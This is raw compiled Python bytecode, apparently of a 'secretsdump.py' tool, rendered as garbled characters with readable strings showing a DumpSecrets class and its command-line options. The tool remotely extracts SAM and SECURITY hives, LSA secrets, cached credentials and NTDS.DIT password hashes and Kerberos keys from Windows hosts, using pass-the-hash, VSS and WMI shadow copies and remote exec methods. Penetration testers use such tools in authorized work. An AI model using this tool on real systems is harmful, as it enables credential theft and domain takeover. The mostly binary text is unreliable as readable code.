o àý°jøuã @s¶ddlmZddlmZddlZddlZddlZddlZddlZddlm Z ddl m Z ddl m Z ddlmZddlmZmZdd lmZmZmZmZmZmZdd lmZzeZWn eycYnwGd d „d ƒZe d krYej!j"dure #d¡ej!ƒe_!e$e j%ƒej&dddZ'e'j(dddde'j(dddde'j(dddde'j(dddde'j(dddde'j(ddd de'j(d!dd"de'j(d#dd$de'j(d%dd&de'j(d'dd(de'j(d)dd*de'j(d+dd,de'j(d-dd.d/d0e'j(d1de)d2d3e'j(d4dd5de'j(d6dd.d7d0e'j(d8gd9¢d:d;ddd?de'j(d@ddAde'j(dBddCdDd0e'j(dEddFdGd0e' *dH¡Z+e+j(dIddJdKdLe+j(dMddNdOdLe+j(dPdd.dQd0e+j(dRdd.dSd0e+j(dTddUde+j(dVdd.dWd0e+j(dXdd.dYd0e+j(dZdd[de' *d\¡Z+e+j(d]dd^d_dLe+j(d`ddade+j(dbddcde+j(ddddedfdLe+j(dgddhde' *di¡Z+e+j(djddkdldLe+j(dmddkdndLe,ej-ƒdokrÞe' .¡e /do¡e' 0¡Z1e  2e1j3e1j4¡e e1j5ƒ\Z6Z7Z8Z9e1j:dusÿe1j;durAe1jdp¡e /do¡n+e1j?dur'e >dq¡e /do¡ne9 @¡drkr>e7dskr>e >dt¡e /do¡nde1_Ae1jdu¡e /do¡e1j=durse1jBdurse >dv¡e /do¡e1jCdure1jDdus…e1jEdure >dw¡e /do¡e9 @¡drkr«e7dskr«e1j?dur«e >dx¡e /do¡e9 @¡drkrÎe7dskrÎe1jFdurÍe1jGdurÍe >dy¡e /do¡nQe1jHdur×e9e1_He6durÞdsZ6e1jIdurðe Je1jIe7e6e1¡de1_Ke8dskre7dskre1jLdure1jMd.ure1jNdurddzlOmOZOeOd{ƒZ8e1jNdurde1_Kee9e7e8e6e1ƒZPzeP Q¡WdSeRyXZSze T¡jUejVkrHddlWZWeW X¡e >eS¡WYdZS[SdSdZS[SwwdS)|é)Údivision)Úprint_functionN)Úversion)Úlogger)Ú parse_target)Ú SMBConnection)ÚLDAPConnectionÚLDAPSessionError)ÚLocalOperationsÚRemoteOperationsÚ SAMHashesÚ LSASecretsÚ NTDSHashesÚKeyListSecrets)ÚKeytabc@s6eZdZd dd„Zdd„Zdd„Zd d „Zd d „ZdS)Ú DumpSecretsÚNcCst|j|_|j|_||_|j|_||_||_||_ d|_ d|_ |j |_ |j|_d|_d|_d|_d|_d|_d|_d|_|j|_|j|_|j|_|j|_|j|_ |j!|_"|j#|_$|j%|_&|j'|_(d|_)d|_*|j+|_,|j-|_.|j/|_0|j1|_2|j3|_4|j5|_6|j7|_8|j9|_:|j;|_<|j=|_>d|_?|j@|_A|jB|_C|jD|_E|jF|_G|jH|_I||_J|jKdur¸|jK Ld¡\|_ |_ dSdS)NrTú:)MÚuse_vssÚ_DumpSecrets__useVSSMethodÚ use_keylistÚ_DumpSecrets__useKeyListMethodÚ_DumpSecrets__remoteNameÚ target_ipÚ_DumpSecrets__remoteHostÚ_DumpSecrets__usernameÚ_DumpSecrets__passwordÚ_DumpSecrets__domainÚ_DumpSecrets__lmhashÚ_DumpSecrets__nthashÚaesKeyÚ_DumpSecrets__aesKeyÚrodcKeyÚ_DumpSecrets__aesKeyRodcÚ_DumpSecrets__smbConnectionÚ_DumpSecrets__ldapConnectionÚ_DumpSecrets__remoteOpsÚ_DumpSecrets__SAMHashesÚ_DumpSecrets__NTDSHashesÚ_DumpSecrets__LSASecretsÚ_DumpSecrets__KeyListSecretsÚrodcNoÚ_DumpSecrets__rodcÚsystemÚ_DumpSecrets__systemHiveÚbootkeyÚ_DumpSecrets__bootkeyÚsecurityÚ_DumpSecrets__securityHiveÚsamÚ_DumpSecrets__samHiveÚntdsÚ_DumpSecrets__ntdsFileÚskip_samÚ_DumpSecrets__skipSamÚ skip_securityÚ_DumpSecrets__skipSecurityÚhistoryÚ_DumpSecrets__historyÚ_DumpSecrets__noLMHashÚ_DumpSecrets__isRemoteÚ outputfileÚ_DumpSecrets__outputFileNameÚkÚ_DumpSecrets__doKerberosÚjust_dcÚ_DumpSecrets__justDCÚ just_dc_ntlmÚ_DumpSecrets__justDCNTLMÚ just_dc_userÚ_DumpSecrets__justUserÚ ldapfilterÚ_DumpSecrets__ldapFilterÚ skip_userÚ_DumpSecrets__skipUserÚ pwd_last_setÚ_DumpSecrets__pwdLastSetÚ user_statusÚ_DumpSecrets__printUserStatusÚ resumefileÚ_DumpSecrets__resumeFileNameÚ_DumpSecrets__canProcessSAMLSAÚdc_ipÚ_DumpSecrets__kdcHostÚuse_remoteSSWMIÚ_DumpSecrets__remoteSSWMIÚuse_remoteSSWMI_NTDSÚ_DumpSecrets__remoteSSWMINTDSÚremoteSSWMI_remote_volumeÚ+_DumpSecrets__remoteSSMethodWMIRemoteVolumeÚremoteSSWMI_local_pathÚ+_DumpSecrets__remoteSSMethodWMIDownloadPathÚ_DumpSecrets__optionsÚhashesÚsplit)ÚselfÚ remoteNameÚusernameÚpasswordÚdomainÚoptions©rgú‹/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/secretsdump.pyÚ__init__Msb ÿzDumpSecrets.__init__c Csbt|j|jƒ|_|jr |j |j|j|j|j |j |j |j ¡dS|j  |j|j|j|j |j ¡dS)N)rrrr$rBÚ kerberosLoginrrrrrr!rUÚlogin©rargrgrhÚconnect€s  ÿ"zDumpSecrets.connectc Cs¸|jr|j|_n|jdur|j|_n|j|_|jr |j d¡}n|j dd¡d}| d¡}d|_|D] }|jd|7_q3|jdd…|_z:td|j|j|jƒ|_|jdurk|j  |j |j |j|j |j ¡WdS|jj|j |j |j|j |j |j|jdWdStyÛ}zNt|ƒ d ¡d krÈtd |j|j|jƒ|_|jdur³|j  |j |j |j|j |j ¡n|jj|j |j |j|j |j |j|jdn‚WYd}~dSWYd}~dSd}~ww) NÚ.ééÿÿÿÿrzdc=%s,z ldap://%sT)ÚkdcHostÚstrongerAuthRequiredrz ldaps://%s)rBrÚ_DumpSecrets__targetrUrr`ÚbaseDNrr%rkrrrrrjr!r ÚstrÚfind)raÚ domainPartsreÚiÚergrgrhÚ ldapConnectˆsB     $ ÿ  ÿýþ€ûzDumpSecrets.ldapConnectcCsDzd}|jr‡d|_d|_z| ¡Wn)ty<}zt d¡dur1|jdur1t  dt |ƒ¡n‚WYd}~nd}~wwt |j |j|j |jƒ|_|j |jj¡|j |j|j|j¡^}}}}||_||_||_|ro|dnd|_t|jƒ}| ¡}|jdur…| ¡|_n|j  ¡dkr»|j!dkr»d|_d|_|jr°t|jƒ}| ¡}|jdur¯| ¡|_nìddl"} |  #|j$¡}nád|_d}|j%durït &d|j'¡z| (¡Wntyî}zt )d t |ƒ¡WYd}~nd}~wwzqz| ¡Wn,ty"}zt d¡dur|jdurt  dt |ƒ¡n‚WYd}~nd}~wwt |j |j|j |jƒ|_|j |jj¡|j*durI|j+durI|j,dusO|jdur_|j -¡|j ¡}|j ¡|_Wn;ty›}z.d|_.t |ƒ /d ¡rˆt d¡durˆ|jdurˆt )d ¡n t )d t |ƒ¡WYd}~nd}~ww|j,durØzt0|j'|j|j1|j2|jƒ|_3|j3 4¡WWdSty×}zt )d t |ƒ¡WYd}~WdSd}~ww|j*dur¯|j+dur¯|j.r¯|j5s;z2|jdurù|j 6¡} n|j} t7| ||j|j8|j9|j:d|_;|j; 4¡|js¯zB|jdurL|j ?¡} n|j} t@| ||j|j|j8d|_A|jA B¡|jrrmÚ ExceptionÚosÚgetenvrBÚloggingÚdebugrur r$rUr%r&Ú setExecMethodr^Ú exec_methodÚcreateSSandDownloadWMIr[r]rYr4r.r2r6r Ú getBootKeyÚcheckNoLMHashPolicyr=rÚupperrÚbinasciiÚ unhexlifyr0rJÚinforrzÚerrorrDrFrÚenableRegistryrSrvrr,r#r*Údumpr8ÚsaveSAMr r<rPrNr'r@Úexportr:Ú saveSECURITYr r)ÚdumpCachedHashesÚ exportCachedÚ dumpSecretsÚ exportSecretsÚ getLoggerÚlevelÚDEBUGÚ tracebackÚ print_excÚgetRRPÚsaveNTDSÚ getDomainSidrÚgetLocalDomainSidrRrHrLr(ÚgetResumeSessionFileÚunlinkÚcleanupÚKeyboardInterruptÚ isinstanceÚinput)rar‹ryÚsam_pathÚ system_pathÚ security_pathÚ ntds_pathÚlocalOperationsÚbootKeyr›Ú SAMFileNameÚSECURITYFileNamer«Ú NTDSFileNameÚ resumeFileÚanswerrgrgrhr °s„  þ€ú ÿ  ÿ   €   €  €ÿ  þ€ú 0   €   €ø "€ÿ     €€ÿ   ÿ    €€ü $     €€ÿ  ú    $   €ð   ö    þ€ézDumpSecrets.dumpcCsbt d¡|jr |j ¡|jr|j ¡|jr|j ¡|jr%|j ¡|jr/|j ¡dSdS)NzCleaning up... )r“rr&Úfinishr'r)r(r*rlrgrgrhr³~s     ÿzDumpSecrets.cleanup)rrrN)Ú__name__Ú __module__Ú __qualname__rirmrzr r³rgrgrgrhrLs 3( OrÚ__main__Úutf8TzfPerforms various techniques to dump secrets from the remote machine without executing any agent there.)Úadd_helpÚ descriptionÚtargetÚstorezb[[domain/]username[:password]@] or LOCAL (if you want to parse local files))ÚactionÚhelpz-tsÚ store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-systemzdSYSTEM hive to parse (only binary REGF, as .reg text file lacks the metadata to compute the bootkey)z-bootkeyzbootkey for SYSTEM hivez -securityzSECURITY hive to parsez-samzSAM hive to parsez-ntdszNTDS.DIT file to parsez -resumefilez—resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's statez -skip-samz*Do NOT parse the SAM hive on remote systemz-skip-securityz/Do NOT parse the SECURITY hive on remote systemz -outputfilezPbase output filename. Extensions will be added for sam, secrets, cached and ntdsz-use-vssFz6Use the NTDSUTIL VSS method instead of default DRSUAPI)rÌÚdefaultrÍz-rodcNozLNumber of the RODC krbtgt account (only avaiable for Kerb-Key-List approach))rÌÚtyperÍz-rodcKeyzUAES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)z -use-keylistz7Use the Kerb-Key-List method instead of default DRSUAPIz -exec-method)ÚsmbexecÚwmiexecÚmmcexecú?rÑzPRemote exec method to use at target (only when using -use-vss). Default: smbexec)ÚchoicesÚnargsrÏrÍz-use-remoteSSWMIzhRemotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locallyz-use-remoteSSWMI-NTDSz¨Dump NTDS.DIT also when using the Remote Shadow Snapshot Method via WMI. Use it with dumping from a DC. IMPORTANT: this flag only works when also using -use-remoteSSWMIz-remoteSSWMI-remote-volumezC:\zfRemote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY. It defaults to C:\z-remoteSSWMI-local-pathrnzaLocal path to download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current pathzdisplay optionsz -just-dc-userÚUSERNAMEztExtract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch)rÌÚmetavarrÍz -ldapfilterÚ LDAPFILTERzˆExtract only NTDS.DIT data for specific users based on an LDAP filter. Only available for DRSUAPI approach. Implies also -just-dc switchz-just-dcz:Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)z -just-dc-ntlmz-Extract only NTDS.DIT data (NTLM hashes only)z -skip-userz‹Do NOT extract NTDS.DIT data for the user specified. Can provide comma-separated list of users to skip, or text file with one user per linez -pwd-last-setzWShows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile dataz -user-statusz+Display whether or not the user is disabledz-historyzCDump password history (NTDS and SAM hashes), and LSA secrets OldValÚauthenticationz-hashesz LMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyzs0 4        ÿ C  ÿ ÿ ÿÿÿ ÿ ÿ  ÿ ÿ ÿ ÿ ÿ ÿ   ÿ        $    $  $    €   8  €üê